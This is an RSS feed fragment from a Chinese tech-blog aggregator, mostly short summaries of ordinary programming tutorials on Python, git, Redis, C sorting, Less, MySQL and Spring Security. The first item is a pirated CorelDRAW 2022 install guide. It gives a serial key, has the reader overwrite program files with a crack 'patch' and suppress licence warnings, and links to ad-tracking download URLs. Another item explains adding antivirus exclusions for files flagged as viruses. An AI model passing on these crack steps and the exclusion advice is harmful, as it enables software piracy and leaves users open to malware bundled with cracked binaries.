      <description>CorelDRAW2022又被大家伙简称为cdr2022，这是由加拿大Corel公司制作推出的一款老牌图形平面设计软件，当然虽然该软件是好早之前就有了，但是本次小编要介绍的是该系列最新的2022版本。&#xA;在该版本中依然为各领域的广大设计师们提供了矢量动画、对象控制、页面设计、页面排版、网站制作、字体管理、位图编辑、网页动画、工作空间自定义等多种功能，十分强大。不过需要注意的是，该软件虽然功能丰富全面，但是简单的说其实就是图像编辑和矢量图及页面设计两大块功能，接着再详细延续出了许许多多小功能来供用户使用制作图像。&#xA;像如果你要在cdr2022软件中编辑图像，只需直接导入开始编辑即可，同时丝毫无需担心在编辑的过程中会破坏原始图像或对象，而且还能使用软件中的人工智能技术来快速的提高图像的大小和质量，并还能利用AfterShot 3 HDR 从原始图像创建惊人的高动态范围照片。&#xA;另外，经过几十个版本的发展，在本次全新的cdr2022中依旧是为用户们带来了不少的新功能哦，同时与上个版本相比，可是带来了不少的新功能，不仅新增了绘制透视图、协作工作流、注释泊坞窗、协作登录等新功能，还新增了灵活的设计空间、取样选项、伪影移除、艺术样式、位图效果透镜、渐进式图像编辑等特点，总体而言，在该版本中可更好的为用户提供强大省时的协作功能，这样就能有效的加快团队合作，提升工作效率，随心所欲的按照自己想法进行设计获取作品。&#xA;CDR安装教程&#xA;自己选择下载到电脑那个盘（尽量别选C盘，C盘是系统盘）&#xA;第1步：把解压CDR2021文件（我是选择我电脑里的W盘）&#xA;第2步：打开安装包，点开setup文件夹，找到Setup这个文件，然后右键以管理员方式打开，即可安装。（看好图片里文件，别选错了）&#xA;第3步：输入序列号(CD24R49-CDR5Q44-CDRZVCX-CDRJA88)&#xA;第4步：选择自定义安装&#xA;第5步：选择自己要用的，默认全选&#xA;第6步：重点☆ 之前装过CDR，就把 √ 取消！&#xA;第7步：修改安装位置，只改第一个首字母就可以！（我这里是装在W盘，我就把C改成W）&#xA;第8步: 安装完成后，直接关闭软件！重点☆ 别点同意！&#xA;第9步：打开补丁文件夹，打开操作教程，复制路径，找到文件夹！&#xA;第10步：把补丁 复制到打开的这个文件夹中，替换！&#xA;第11步：设置防警告，打开 安装完成后必设置 文件夹，打开教程&#xA;第12步：复制路径，删除文件夹内容&#xA;最后该软件就安装可以使用了!&#xA;mac直装安装包下载后在更新即可 :&#xA;https://wm.makeding.com/iclk/?zoneid=42701&#xA;win直装安装包下载后在更新即可 :&#xA;https://wm.makeding.com/iclk/?zoneid=41581</description>
    </item>
    <item>
      <title>python中list.copy方法用法浅谈</title>
      <link>https://bchobby.github.io/posts/971ed010135ba225c036b7debf097c77/</link>
      <pubDate>Sun, 23 Jul 2023 12:03:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/971ed010135ba225c036b7debf097c77/</guid>
      <description>本文主要给大家介绍了关于python中list.copy方法使用的相关资料,文中还介绍了python list.copy() 和 copy.deepcopy()区别,需要的朋友可以参考下&#xA;当我们想复制两个一模一样的列表时，我们可能使用到list.copy()这个方法，这个方法可以让我们复制一个相同的数组，当遇到下面这种情况时，可能会遇到一些问题&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;# _*_coding=&#39;utf8&#39;_*_&#xA;nameList = [1, 2, 3, 4, 5]&#xA;nameList1 = nameList.copy()&#xA;nameList[1] = 55&#xA;print(nameList, nameList1)&#xA;此时打印出nameList和nameList1时，两个列表的元素是下面这样&#xA;[1, 55, 3, 4, 5] [1, 2, 3, 4, 5]&#xA;可以看到列表的第二个元素不一样&#xA;这是因为在python中list.copy()这个函数在执行的时候，指向的不是nameList在内存中的地址，而是重新复制了一份，此时两个列表在内存中的地址不同，我们可以打印出来看看&#xA;使用如下代码可以见到，两个列表的内存已经有差别了&#xA;1&#xA;2&#xA;3&#xA;4&#xA;nameList = [1, 2, 3, [3, 4, 5], 4, 5]&#xA;nameList1 = nameList.copy()&#xA;nameList[1] = 55&#xA;print(id(nameList), id(nameList1))&#xA;2207528867520 2207531826048&#xA;此时修改的nameList[1] = 55并不会在nameList1中生效&#xA;而当nameList中又存在数组时，情况又会发生变化</description>
    </item>
    <item>
      <title>文件被识别为病毒，被删除，如何解决</title>
      <link>https://bchobby.github.io/posts/7942e5d810096163dfe9d7ea04673d0d/</link>
      <pubDate>Sun, 23 Jul 2023 11:15:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7942e5d810096163dfe9d7ea04673d0d/</guid>
      <description>我们的文件有时候有用，但是电脑却识别为病毒，直接给我删除掉了，这让人是真的很XX，那该怎么办呐。&#xA;我最近用了这个方法很多次，蛮好用，分享给大家！&#xA;1、先找到安全中心&#xA;2、找不到排除项&#xA;3、点击添加排除项 4、我选择的文件夹&#xA;5、找到对应的文件夹</description>
    </item>
    <item>
      <title>2023.7 ---- git基本操作&#43; vs code 中git使用</title>
      <link>https://bchobby.github.io/posts/5fee4cec8ab87eea3cb2691310b644fe/</link>
      <pubDate>Sun, 23 Jul 2023 10:41:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fee4cec8ab87eea3cb2691310b644fe/</guid>
      <description>一 团队使用： 组长：&#xA;1.创建仓库&#xA;2.git init&#xA;3.git add origin master&#xA;4.git commit -m’[组长]提交’&#xA;5.git push origin master&#xA;6.将仓库开源，邀请组员，将仓库网站分发给组员并指派任务&#xA;组员：&#xA;1.克隆项目：git clone https://gitee.com/。。。。/test.git&#xA;2.开发、完成任务&#xA;3.git add .&#xA;4.git commit -m’[组员xxx]提交’&#xA;5.git pull origin master（更新提交内容，防止直接覆盖！！！）&#xA;6.git push origin master&#xA;最后的心得就是：直接在vsCode上点提交上传不更快吗？好吧，这只是其中一种上传方法，了解即可。&#xA;所以进入项目组进行拉取代码 第一步： 配置&#xA;git config --global user.name &#34;spinkh&#34; git config --global user.email &#34;email@sample.com&#34; 1.设置 修改用户名 git config --global user.name &#34;xxxx(新的用户名)&#34; 修改密码 git config --global user.password &#34;xxxx(新的密码)&#34; 修改邮箱 git config --global user.email &#34;</description>
    </item>
    <item>
      <title>Redis操作命令合集分享</title>
      <link>https://bchobby.github.io/posts/dc57accecacfe076a30fb530995aad52/</link>
      <pubDate>Sun, 23 Jul 2023 09:48:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc57accecacfe076a30fb530995aad52/</guid>
      <description>本文主要介绍了Redis操作命令总结,本文讲解了key pattern 查询相应的key、字符串类型的操作、链表操作、hashes类型及操作、集合结构操作、有序集合、服务器相关命令等内容,需要的朋友可以参考下&#xA;一、key pattern 查询相应的key&#xA;（1）redis允许模糊查询key　有3个通配符 *、?、[]&#xA;（2）randomkey：返回随机key　（3）type key：返回key存储的类型&#xA;（4）exists key：判断某个key是否存在&#xA;（5）del key：删除key&#xA;（6）rename key newkey：改名&#xA;（7）renamenx key newkey：如果newkey不存在则修改成功&#xA;（8）move key 1：将key移动到1数据库&#xA;（9）ttl key：查询key的生命周期（秒）&#xA;（10）expire key 整数值：设置key的生命周期以秒为单位&#xA;（11）pexpire key 整数值：设置key的生命周期以毫秒为单位&#xA;（12）pttl key：查询key 的生命周期（毫秒）&#xA;（13）perisist key：把指定key设置为永久有效&#xA;二、字符串类型的操作&#xA;（1）set key value [ex 秒数] [px 毫秒数] [nx/xx]　如果ex和px同时写，则以后面的有效期为准&#xA;nx：如果key不存在则建立&#xA;xx：如果key存在则修改其值&#xA;（2）get key：取值&#xA;（3）mset key1 value1 key2 value2 一次设置多个值&#xA;（4）mget key1 key2 ：一次获取多个值&#xA;（5）setrange key offset value：把字符串的offset偏移字节改成value&#xA;如果偏移量 &amp;gt; 字符串长度，该字符自动补0x00</description>
    </item>
    <item>
      <title>python五子棋代码</title>
      <link>https://bchobby.github.io/posts/a791320e0728d6093a4e9a5d22b33c2b/</link>
      <pubDate>Sat, 22 Jul 2023 23:52:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a791320e0728d6093a4e9a5d22b33c2b/</guid>
      <description>由于五子棋是一种游戏，属于交互式应用程序，需要图形界面，因此需要使用一些图形库。以下是一个使用 Tkinter 模块实现五子棋的 Python 代码示例：&#xA;import tkinter as tk class Chessboard(tk.Canvas): def __init__(self, master=None, **kwargs): super().__init__(master, **kwargs) self.master = master self.init_chessboard() self.draw_chessboard() self.bind_events() def init_chessboard(self): self.n = 15 # 棋盘大小 self.step = 30 # 棋盘格子大小 self.stone_r = self.step // 2 - 2 # 棋子半径 self.board = [[0] * self.n for _ in range(self.n)] # 初始化棋盘状态 self.color = 1 # 当前下棋方，0 表示黑方，1 表示白方 self.game_over = False # 游戏是否结束 self.winner = None # 获胜方 def draw_chessboard(self): for i in range(self.</description>
    </item>
    <item>
      <title>Simulink代码生成： 通过Stateflow调用外部C代码</title>
      <link>https://bchobby.github.io/posts/1f25c70ee7658bc8f6cde2fc1ddd1c6c/</link>
      <pubDate>Sat, 22 Jul 2023 21:30:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f25c70ee7658bc8f6cde2fc1ddd1c6c/</guid>
      <description>本文描述通过通过Stateflow调用外部C代码调用外部C代码的方法。&#xA;文章目录 1 问题引入2 调用外部C代码的过程 2.1 准备外部文件2.2 搭建模型2.3 生成代码3 调用有参数和返回的函数4 调用参数为指针的函数5 总结 1 问题引入 情形1：在汽车嵌入式软件开发的过程中，通常是用模型生成代码的方式开发应用层软件，用手写代码的方式开发底层软件和接口函数。应用层经常需要调用到底层的函数，比如应用层通过接口函数获取底层的变量值。&#xA;情形2：很多早期的项目没有引入MBD(基于模型的设计)，而是全部通过手写代码完成。等到后面采用模型生成代码的时候，也会想要调用以前开发的成熟的代码。&#xA;以上两种情况，都需要通过在Simulink模型中调用外部的C代码。一种方法是通过S-function封装来实现，但是比较麻烦。本文介绍通过Stateflow实现调用外部C代码。&#xA;2 调用外部C代码的过程 2.1 准备外部文件 想要调用外部C代码，首先得要在Matlab路径下能找到这个C代码所在的文件。如果暂时没有开发也没关系，可以建立一个空壳代码，先“骗一下”Matlab。&#xA;如图所示，在Matlab当前路径下建立两个文件:myfile.c和myfile.h:&#xA;在myfile.c中写入代码：&#xA;#include &#34;myfile.h&#34; void HandCode(void) { } 在myfile.h中写入代码：&#xA;void HandCode(void); 可以看到，HandCode()这个函数没有参数也没有返回值，而且里面是空的，啥都没有。&#xA;2.2 搭建模型 1.新建一个空白Simulink，建立一个Chart。&#xA;2.点击去这个Chart，打开Model Explorer，将Action Language设置为C。&#xA;3.建立一个简单的流程图，并在圆括号的动作中写上之前的那个HandCode的C代码。&#xA;3.打开设置——Simulation Target，填写右侧的Source file和Header file并确定。&#xA;2.3 生成代码 Ctrl+B生成代码，在打开的报告中就可以看到step函数中调用了这个C代码，以及头文件中包含了myfile.h。&#xA;最后别忘了，集成的时候要把真正的外部调用代码拿来编译，而不是我们自己建立的空壳代码。&#xA;3 调用有参数和返回的函数 上面举的例子是没有参数和返回值的，对于有参数和返回值的函数也是可以调用的。&#xA;1.首先修改一下C代码，加上参数和返回。&#xA;C文件：&#xA;#include &#34;myfile.h&#34; single HandCode(single Input1) { } 头文件：&#xA;typedef float single; single HandCode(single Input1); 这里用typedef定义一个single类型。</description>
    </item>
    <item>
      <title>数组排序(C语言）</title>
      <link>https://bchobby.github.io/posts/320a42dcfdf4f0c9283097e63a07a3c6/</link>
      <pubDate>Sat, 22 Jul 2023 17:52:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/320a42dcfdf4f0c9283097e63a07a3c6/</guid>
      <description>以下就是常见基本的排序方式&#xA;1、冒泡排序&#xA;2、选择排序&#xA;3、插入排序&#xA;4、希尔排序&#xA;5、归并排序&#xA;6、快速排序&#xA;7、堆排序&#xA;8、计数排序&#xA;菜鸟教程排序链接&#xA;该处的排序原理，讲的其实十分细致。&#xA;这里着重介绍下，快速排序和归并排序。&#xA;文章目录 快速排序归并排序排序稳定性的思考 快速排序 快速排序原理：就是取一个值作为基准，将数组小的移到其左边，大的数据移到右边。反复此过程，就可以实现排序。&#xA;相信你看过了菜鸟的代码，快速排序的迭代版本以及递归版本，其中有一个三数取中原则。&#xA;根据快速排序原理，我们拿来作为基准值的数，如果能是该数组的中间数，那么就能实现尽量接近2分。&#xA;但是倘若一个数组全是【2，2，2，2，2，2，2，2】，再以那样的代码，三数取中也无法改变，所以这个时候，那个数据取完之后，就会导致这次排序走了一次n，并且直到最后一躺，时间复杂度就是n^2&#xA;为了解决这个问题，我们在每次排序时，需要相等的放在中间，小的放在前面，大的放在后面。&#xA;以下是实例。&#xA;int part_sort_returnArrays(int * a,int n,int* returnSize)//如果说，存在全都相等的数字，那么这里不就是单趟遍历，最后导致quiksort是n^2的时间复杂度 //因此这里提供一种修改方案，相等的全部移往中间，但是值得注意，由于返回相当于是一个数组了，那么就不仅仅要i下标，还要整个长度 { if(n&amp;lt;=1) { return 0; } int midi = GetMid_Index(a,0,n-1); swap(&amp;amp;a[0],&amp;amp;a[midi],sizeof(a[0])); int i =0; int temp = a[0]; int count = 0;//计算与temp值相等的数值总个数 int m = n -1; for(int j=0;j&amp;lt;m+1;)//前后指针下标版本 { if(a[j]==temp) { count++; j++; } else if(a[j]&amp;lt;temp) { swap(&amp;amp;a[i++],&amp;amp;a[j],sizeof(a[j])); j++; } else { swap(&amp;amp;a[m--],&amp;amp;a[j],sizeof(a[j])); } } for(int k = 0;k&amp;lt;count;k++)//注意，由于这里每次都多走了一组，实际效率有所下降, { a[i+k] = temp; } *returnSize = count; return i; } 还有一种问题存在，有一种数据，让你每次三数取中都取到比很小的数或者很大的数，那么时间复杂度基本也就是o（N^2）</description>
    </item>
    <item>
      <title>Less知识点整理学习笔记</title>
      <link>https://bchobby.github.io/posts/9e37cb68a686daa3f0804cd75b7795a2/</link>
      <pubDate>Sat, 22 Jul 2023 15:55:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e37cb68a686daa3f0804cd75b7795a2/</guid>
      <description>文章目录 1. Less介绍2. 安装2.1 部署node.js环境2.2 安装Less2.3 WebStorm配置Less 3. Less语法3.1 变量3.2 嵌套3.3 运算 1. Less介绍 Less是CSS预处理语言，可以使用变量、嵌套、运算等，便于维护项目CSS样式代码。&#xA;2. 安装 2.1 部署node.js环境 官网地址：https://nodejs.org/en/download，软件安装好后，CMD命令窗口输入node -v和npm -v，分别跳出版本号，说明node.js环境安装成功。&#xA;2.2 安装Less 采用npm包管理工具，全局安装Less包&#xA;npm install -g less less安装好了，lessc也安装好了&#xA;lessc -v lessc命令是可以把less文件转成css文件&#xA;# 把xx.less文件转成xx.css文件 lessc xx.less xx.css 2.3 WebStorm配置Less 目的：编辑器自动把less文件转成css文件&#xA;我这边采用WebStorm编辑器。WebStorm左上角–&amp;gt;files–&amp;gt;Settings–&amp;gt;Tools–&amp;gt;File Watchers–&amp;gt;点击添加&#xA;lessc路径可以通过where lessc命令得到&#xA;css导出参数&#xA;# $FileParentDir(less)$ 是获取 less 目录的路径 # $FileDirPathFromParent(less)$ 是获取 less 文件到 less 目录的路径 # $FileNameWithoutExtension$ 是获取 less 文件不带后缀的名字 $FileName$ $FileParentDir$\css\$FileNameWithoutExtension$.css --source-map 3. Less语法 3.1 变量 变量可以当做普通的变量、选择器变量、属性变量、URL变量、声明变量来使用。</description>
    </item>
    <item>
      <title>为什么 MySQL 不建议使用 NULL 作为列默认值？</title>
      <link>https://bchobby.github.io/posts/c10c1ae456781e0f1c5a0bb246780629/</link>
      <pubDate>Sat, 22 Jul 2023 10:30:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c10c1ae456781e0f1c5a0bb246780629/</guid>
      <description>今天来分享一道美团高频面试题，5 分钟搞懂“为什么 MySQL 不建议使用 NULL 作为列默认值？”。&#xA;对于这个问题，通常能听到的答案是 使用了 NULL 值的列将会使索引失效,但是如果实际测试过一下,你就知道IS NULL会使用索引.所以上述说法有漏洞.&#xA;着急的人拉到最下边看结论&#xA;前言 Null is a special constraint of columns. The columns in table will be added null constrain if you do not define the column with “not null” key words explicitly when creating the table.Many programmers like to define columns by default because of the conveniences(reducing the judgement code of nullibility) what consequently cause some uncertainty of query and poor performance of database.</description>
    </item>
    <item>
      <title>matlab报错：位置1处的索引超出数组边界，求大神解答</title>
      <link>https://bchobby.github.io/posts/7488051ca01d3be1b1c70c0826e65ec2/</link>
      <pubDate>Fri, 21 Jul 2023 23:02:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7488051ca01d3be1b1c70c0826e65ec2/</guid>
      <description> </description>
    </item>
    <item>
      <title>Eclipse用JSP、JSTL&#43;El表达式、servlet、MySQL数据库写一个Java Web的学生管理系统、赋赠整个小项目。</title>
      <link>https://bchobby.github.io/posts/04407de8dd73e493235a8d7e9cd7ccdd/</link>
      <pubDate>Fri, 21 Jul 2023 20:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04407de8dd73e493235a8d7e9cd7ccdd/</guid>
      <description>1.要求： 软件：有MySQL数据库、Eclipse有前台显示页面实现对学生的、增、删、改、查 查询是模糊查询，输入姓或者名得出一个表修改是根据账号修改，且账号不可以修改删除保留在当前页面（分页后会有好多页，在删除最后一页最后一个数据时刷新后还在当前页面只是要删除数据消失了）删除前：删除后：还在第三页并对结果进行分页显示，每一页只显示三条信息。 2.分析： 数据库表必须要有：账号、姓名、密码，且其中账号为主键。 3.实施 （1）.：创建Java web项目： （2）.:Java和后端交互（Eclipse链接数据，实现学生对数据库的增删改查） Java web项目中创建4个包&#xA;其中： bean包（JavaBean）：JavaBean是一个符合特定规范的Java类。通常用于封装数据，并提供公共的getter和setter方法以及其他操作方法。JavaBean用于在不同的层之间传递数据或表示业务实体。 （简单理解就是定义Java类地方，其中包含这个类属性、get、set、toString、有参、无参构造方法）&#xA;dao包（Data Access Object）：DAO是数据访问对象的缩写。DAO模式是一种用于数据持久化的设计模式。DAO类封装了与数据存储相关的操作方法，如增加、删除、修改和查询等。通过DAO，应用程序可以更方便地与底层数据库进行交互，并隐藏了数据库细节。 （简单理解就是链接数据库、对数据库进行增删改查地方）&#xA;service包：Service层位于DAO层之上，负责处理业务逻辑。Service层通常封装了一系列的业务操作，如数据校验、事务管理和调用多个DAO方法等。它使得控制层，如Servlet，能够更专注于处理请求和响应，将业务逻辑的处理分离出来。同时，service层的存在使得信息处理的代码更加模块化和可复用，方便进行单元测试和维护、确保输入的数据是有效和可信的，以及对数据进行必要的处理和操作，满足业务需求和数据完整性的要求。。 （简单理解就是对数据检测、以及数据处理）&#xA;servlet包：Servlet是Java Web开发中处理HTTP请求和生成HTTP响应的组件。Servlet是运行在Web服务器上的Java类。它可以接收来自客户端的请求，并生成相应的响应。Servlet可以处理不同类型的请求（如GET、POST等），在服务端执行相应的业务逻辑，并与客户端进行交互。Servlet将Java代码嵌入到Web应用程序中，实现与客户端的交互和业务逻辑处。Servlet运行在服务器端，所以它可以与数据库、文件系统等后台资源进行交互，处理复杂的数据操作和业务需求。 （简单理解就是处理HTTP请求、生成动态内容并实现服务器端业务逻辑的Java组件，是构建Java Web应用程序的重要组成部分）&#xA;1.: Eclipse链接数据库 Eclipse链接数据库，数据库链接测试，MySQL环境变量配置:http://t.csdn.cn/3Hp1Y&#xA;2.：Eclipse链接测试过数据库后，开始把链接测试代码规范化。上文讲到dao包就是链接数据库、对数据库进行增删改查地方，所有要在dao包中创建文件把链接写到里面。 package com.jd.dao; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.ArrayList; import java.util.List; import com.jd.bean.Student; /** * 数据持久化层 * @author lenovo */ public class BaseDAO&amp;lt;E&amp;gt; { private static final String DRIVER=&#34;com.mysql.cj.jdbc.Driver&#34;; private static final String URL=&#34;jdbc:mysql://127.0.0.1:3306/gs?useUnicode=true&amp;amp;characterEncoding=utf-8&#34;; private static final String USERNAME=&#34;</description>
    </item>
    <item>
      <title>Git Windows版的安装与使用（保姆级教程，附案例）</title>
      <link>https://bchobby.github.io/posts/1c01cc3dd6eab6889adbac084e44c0c0/</link>
      <pubDate>Fri, 21 Jul 2023 18:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c01cc3dd6eab6889adbac084e44c0c0/</guid>
      <description>目录&#xA;1. Git Windows版的安装&#xA;1.1 软件下载&#xA;1.2 安装git for Windows&#xA;1.3 安装TortoiseGit&#xA;1.4 安装中文语言包&#xA;2. 使用git管理文件版本&#xA;2.1 创建版本库&#xA;2.1.1 使用Git bash 创建&#xA;2.1.2 使用 TortoiseGit&#xA;2.2 添加文件&#xA;2.2.1 添加文件整个过程&#xA;2.2.2 工作区 和 暂存区&#xA;2.3 修改文件&#xA;2.3.1 提交修改&#xA;2.3.2 查看修改历史&#xA;2.3.3 差异比较&#xA;2.3.4 还原修改&#xA;2.4 删除文件&#xA;​2.5 案例：将java工程提交到版本库&#xA;2.6 忽略文件语法规则&#xA;3. 远程仓库&#xA;3.1 添加远程仓库&#xA;3.1.1 在 码云上创建仓库&#xA;3.1.2 ssh协议&#xA;3.1.3 同步到远程仓库&#xA;3.2 从远程仓库克隆&#xA;3.2.1 使用 git bash&#xA;3.2.2 使用 TortoiseGit</description>
    </item>
    <item>
      <title>C# SolidWorks 二次开发 -从零开始创建一个插件(2)</title>
      <link>https://bchobby.github.io/posts/6ad4d56742b1fcd3e842b66b83644c70/</link>
      <pubDate>Fri, 21 Jul 2023 18:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ad4d56742b1fcd3e842b66b83644c70/</guid>
      <description>上一篇我详细讲解了如何创建一个插件，但是无界面无按钮，这种插件适合配合事件偷偷的在后台做点什么事情。今天这篇讲一下如何增加一些按钮到工具栏、菜单上去。 先告诉大家这个东西注册表在哪，因为solidworks在这方面做的不太好，插件你改个名字，就有多个工具栏在solidworks上面了，如果后面有些没用的工具栏名称，它的图标还会乱跑，就可以到这里面去删除没用的名称。&#xA;准备图标 有菜单，肯定要图标，也方便用户更好的识别。&#xA;这里我就拿之前demo中的示例图标了&#xA;在项目目录下新建一个icons的文件夹，把图标放进来，高版本是推荐这6种图标的，旧版api示例中是大图标和两图标2种格式就好了，当然代码写法也有点区别：&#xA;mainicon是插件的主图标，用在工具条显示的的前面&#xA;还有个地方显示的，但官方的图标没有显示，应该是因为图标位深（8的可以显示，32的显示不了）的问题，具体没研究，而且插件名称中如果有.，那么在dll中资源识别的时候会导致名称不一样，solidwroks也不能识别插件的图标。&#xA;然后&#xA;再设置为如果较新则复制&#xA;这样，我们再次生成插件的时候，这些图标就会复制到输出的目录中区，当然大家也可以按api帮助中的把这些设置为资源文件。&#xA;我这样是方便我换图标。&#xA;代码处理 先增加几个私用的变量，用于命令管理 插件CookieID ，工具组ID 以及命令id数组，还有图标的路径。&#xA;private ICommandManager iCmdMgr = null; /// &amp;lt;summary&amp;gt; /// 插件cookie /// &amp;lt;/summary&amp;gt; private int addinCookieID; public int mainCmdGroupID = 5001; //本示例只有3个命名，三个图标。 public int[] mainItemIds = new int[3] { 1002, 1003, 1004 }; /// &amp;lt;summary&amp;gt; /// 主图标的6种尺寸 /// &amp;lt;/summary&amp;gt; private string[] mainIcons = new string[6]; /// &amp;lt;summary&amp;gt; /// 工具栏图标带6种尺寸文件 /// &amp;lt;/summary&amp;gt; private string[] icons = new string[6]; 然后修改ConnectToSW的代码，注释掉之前加载过程中的提示，并在此增加命令。</description>
    </item>
    <item>
      <title>Ubuntu 18.04下的MPICH安装</title>
      <link>https://bchobby.github.io/posts/1148d73e635662bfba2e1da8dcdfddb5/</link>
      <pubDate>Fri, 21 Jul 2023 17:15:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1148d73e635662bfba2e1da8dcdfddb5/</guid>
      <description>目录 1.安装方案一2.安装方案二1. 确保已经安装了如下软件：2.下载源码：3.解压4.配置路径5.编译和安装6.添加环境变量 3.测试参考文献Ubuntu 20.04下的MPICH安装1.安装方案一2.安装方案二1. 确保已经安装了如下软件：2.下载源码：3.解压4.配置路径5.编译和安装6.添加环境变量 3.测试参考文献 MPI(Message-Passing Interface)，并不是一种新的语言，而是消息传递接口，它定义了一个可以被C、C++和Fortran程序调用的函数库[1]。我们可以用MPI来进行进程间的通信，以消息传递的方式来对分布式内存系统进行编程。通过安装MPICH构建MPI编程环境，从而进行并行程序的开发。MPICH是MPI（Message-Passing Interface）的一个应用实现，支持最新的MPI-2接口标准，是用于并行运算的工具[2]。&#xA;1.安装方案一 直接运行利用apt安装，执行下面的命令，按照提示操作即可，但是我安装后使用还是有问题。&#xA;apt安装命令：&#xA;apt-get install mpich 如果需要卸载：&#xA;sudo apt-get --purge remove mpich 安装之后可以利用第三部分提供的代码进行测试。&#xA;2.安装方案二 利用源码安装。&#xA;1. 确保已经安装了如下软件： gcc --version g++ --version cmake --version gfortran --version 如果没有直接sudo apt-get install xxx安装即可。&#xA;如果gfortran安装有问题，可以参考下面的：&#xA;sudo apt-get install gfortran # 如果没有源则按下面更新下，再次安装 # sudo apt-get update 如果上面的命令，无法安装gfortran,则需要，显示：&#xA;gfortran : 依赖: gfortran-7 (&amp;gt;= 7.3.0-12~) 但是它将不会被安装 E: 无法修正错误，因为您要求某些软件包保持现状，就是它们破坏了软件包间的依赖关系 这表示有冲突了，所以可以采取如下命令安装,aptitude会提供一套解决冲突的方案，你可以根据提示选择合适方案安装，如果aptitude没有安装的，那么可以按照下面的安装即可：&#xA;sudo apt install aptitude sudo aptitude install gfortran 2.</description>
    </item>
    <item>
      <title>Echarts折线图设置legend图例文本的颜色与对应折线一致</title>
      <link>https://bchobby.github.io/posts/74a48f6816d93931bab737371cf90aaa/</link>
      <pubDate>Fri, 21 Jul 2023 16:20:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74a48f6816d93931bab737371cf90aaa/</guid>
      <description>需求：设置legend图例文本的颜色与对应折线一致&#xA;实现：在legend图例文本样式配置中给color设置一个空数组即可&#xA;代码：&#xA;legend: { orient: &#39;vertical&#39;, left: &#39;89%&#39;, top: &#39;middle&#39;, width: 100, itemWidth: 25, itemHeight: 1, textStyle: { color: [] } } 效果：&#xA;记录于2023-7-21</description>
    </item>
    <item>
      <title>SpringSecurity - 简单前后端分离 - 自定义授权篇</title>
      <link>https://bchobby.github.io/posts/724eb2e94606e12392cbbd5c77911a02/</link>
      <pubDate>Fri, 21 Jul 2023 15:43:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/724eb2e94606e12392cbbd5c77911a02/</guid>
      <description>SpringSecurity 学习指南大全&#xA;SpringSecurity - 前后端分离简单实战 - 环境准备&#xA;SpringSecurity - 前后端分离简单实战 - 自定义认证篇&#xA;开源 Spring Security 前后端分离 - 后端示例&#xA;文章目录 SpringSecurity - 简单前后端分离 - 自定义授权篇简单理论Security 的权限架构自定义授权管理器自定义授权异常处理配置自定义授权自定义退出HttpSecurity 对象简单介绍其它 SpringSecurity - 简单前后端分离 - 自定义授权篇 隔了那么久，终于来补坑了，(/▽＼)。&#xA;我们接着介绍自定义授权是如何做的。环境准备和前面一样，接着认证篇，继续完成我们的授权处理。&#xA;简单理论 授权：授权其实就是确认当前登录系统的用户能够干些什么事情。前面的认证篇，我们可以确定哪些用户是我们系统的用户，而授权则是在认证完成的基础上来确定当前的用户能在我们系统中干些什么事情，也就是有些什么功能。&#xA;当前权限的控制也分很多种，权限的级别，一般就是指权限的粒度。比如只控制用户登录，登录后就拥有所有的权限，这种就是粗粒度的权限。&#xA;我们可以继续细分权限，比如权限粒度控制到菜单级别，这样用户登录后，拥有自己的菜单，不同的用户拥有不同的菜单权限，这也是比较简单的基于菜单的权限控制。&#xA;我们接着细化，再控制深一点，就是接口权限，不仅包含菜单权限的控制，并且精确到用户调用接口的权限，也就是功能权限，比如一个数据列表，有的用户可以修改数据，而有的用户只有查看的权限。这种权限控制比较常见，很多管理系统就是这种权限。&#xA;再细化就是数据权限了，不仅控制菜单和功能，还控制用户可以查看的数据，这种权限控制有的是在数据库添加权限字段，有的是封装查询的条件，通过用户的数据权限配置来查询符合规定的数据。比如一个用户只能查看一个功能数据的前100条等等。基于数据库的权限控制。&#xA;常见的权限级别：登录权限、菜单权限、功能权限、数据权限&#xA;当然除了前面的权限，我们还可以根据自己的业务常见定制化其它的权限控制。我这里演示的授权是基于请求路径的权限拦截。也相当于接口权限。&#xA;对于权限的数据库设计，大家可以参考网上的其它文章，比如经典的 RBAC 权限模型。&#xA;Security 的权限架构 在我之前写的文章中已经详细介绍了授权和认证架构。&#xA;SpringSecurity - 基于 Servlet 的应用程序&#xA;基本上就是，Security 已经帮我们做了一些默认的权限认证了，默认的权限控制只是认证成功的就行，&#xA;Security 在做权限认证时使用的是 AuthorizationFilter，它会拦截所有的请求，并调用 AuthorizationManagers 来处理权限认证，AuthorizationManager 是个接口，它包含两个方法。&#xA;AuthorizationDecision check(Supplier&amp;lt;Authentication&amp;gt; authentication, Object secureObject); default AuthorizationDecision verify(Supplier&amp;lt;Authentication&amp;gt; authentication, Object secureObject) throws AccessDeniedException { AuthorizationDecision decision = check(authentication, object); if (decision !</description>
    </item>
    <item>
      <title>【Milvus】记录一次基于milvus-backup做的Milvus备份与恢复</title>
      <link>https://bchobby.github.io/posts/28e154f131aa4e271f47be358f430f88/</link>
      <pubDate>Fri, 21 Jul 2023 14:56:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28e154f131aa4e271f47be358f430f88/</guid>
